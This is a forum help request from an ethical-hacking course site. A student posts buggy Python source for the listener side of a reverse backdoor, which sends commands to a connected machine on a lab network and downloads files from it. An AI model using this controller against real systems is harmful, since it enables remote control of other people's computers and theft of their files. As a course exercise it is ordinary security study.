• Home
  • Hacking & Security
    • Network Hacking
    • Web Hacking
    • Social Engineering
    • Kali Linux
    Submit An Article
  • Courses
    • All Courses
    • Bundles
    • VIP Membership
    • FAQ

    Popular Courses

    Network Hacking Continued – Intermediate to Advanced

    Network Hacking Continued – Intermediate to Advanced

  • Shop
  • Competitions
  • Services
    Penetration Testing
    Consulting
    Code Review
    One on one Training
    Online Courses
    VPN
  • Blog
      • Cart

        0
    VIP Membership
    Got a question?
    [email protected]
    RegisterLogin
    zSecurityzSecurity
    • Home
    • Hacking & Security
      • Network Hacking
      • Web Hacking
      • Social Engineering
      • Kali Linux
      Submit An Article
    • Courses
      • All Courses
      • Bundles
      • VIP Membership
      • FAQ

      Popular Courses

      Network Hacking Continued – Intermediate to Advanced

      Network Hacking Continued – Intermediate to Advanced

    • Shop
    • Competitions
    • Services
      Penetration Testing
      Consulting
      Code Review
      One on one Training
      Online Courses
      VPN
    • Blog
        • Cart

          0

      May 28, 2020 at 6:40 am #38323
      cybersamuraiDKcybersamuraiDK
      Participant

      thank you for helping me out 🙂

      I still get the same:—————————————————————————
      [+] Waiting for incoming connections
      [+] Got a connection from (‘10.0.2.15’, 49707)
      >> dir
      <bound method Listener.reliable_receive of <__main__.Listener instance at 0x7fa8d4aa5190>>
      >>

      ————————————————————————————————

      #!/usr/bin/env python
      
      import socket
      import json
      
      class Listener:
          def __init__(self, ip, port):
              listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
              listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
              listener.bind((ip, port))
              listener.listen(0)
              print("[+] Waiting for incoming connections")
              self.connection, address = listener.accept()
              print("[+] Got a connection from " + str(address))
      
          def reliable_send(self, data):
              json_data = json.dumps(data)
              self.connection.send(json_data)
      
          def reliable_receive(self):
              json_data = ""
              while True:
                  try:
                      json_data = json_data + self.connection.recv(1024)
                      print(json.loads(json_data))
                      return json.loads(json_data)
                  except ValueError:
                      continue
      
          def execute_remotely(self, command):
              self.reliable_send(command)
              if command[0] == "exit":
                  self.connection.close()
                  exit()
      
              return self.reliable_receive
      
          def write_file(self, path, content):
              with open(path, "wb") as file:
                  file.write(content)
                  return "[+] Download successful."
      
          def run(self):
              while True:
                  command = raw_input(">> ")
                  command = command.split(" ")
                  result = self.execute_remotely(command)
      
                  if command[0] == "download":
                      result = self.write_file(command[1], result)
      
                  print(result)
      
      my_listener = Listener("10.0.2.10", 4444)
      my_listener.run()
      

      Categories

      • Cryptography
      • Cryptography
      • CTF
      • Forensics
      • Hacking & Security
      • IOT
      • Kali Linux
      • Network Hacking
      • News
      • OSINT
      • Post Exploitation
      • Post Exploitation
      • Programming
      • Security
      • Social Engineering
      • Uncategorized
      • Web Hacking

      Popular Posts

      Got a Blank Screen After Importing Kali in Virtual Box ? Here’s How To Fix It
      25Jan2018
      How To Start a Fake Access Point (Fake WIFI)
      28Nov2019
      How to Discover Device Manufacturer Based on MAC Address
      28May2018
      HiddenEye – The All in One Phishing Solution
      28Apr2020

      Connect with us

      • Facebook
      • Twitter
      • LinkedIn
      • Instagram
      • Youtube

      “Everything related to ethical hacking

      & cyber security in one place.”

      Quick Links

      • Home
      • About Us
      • Hacking & Security
      • Contact
      • FAQ

      Services

      • Penetration Testing
      • Consulting
      • Code Review
      • One on one training
      • VPN
      • VIP Membership

      Company

      • About Us
      • Contact

      Support

      • FAQ
      • Forums

      Copyright © 2021 zSecurity Ltd. All rights reserved.

      • Privacy
      • Terms

      Contribute

      Share your knowledge with the world

      SUBMIT AN ARTICLE

      Login with your site account

      Lost your password?

      Not a member yet? Register now

      Register a new account

      Are you a member? Login now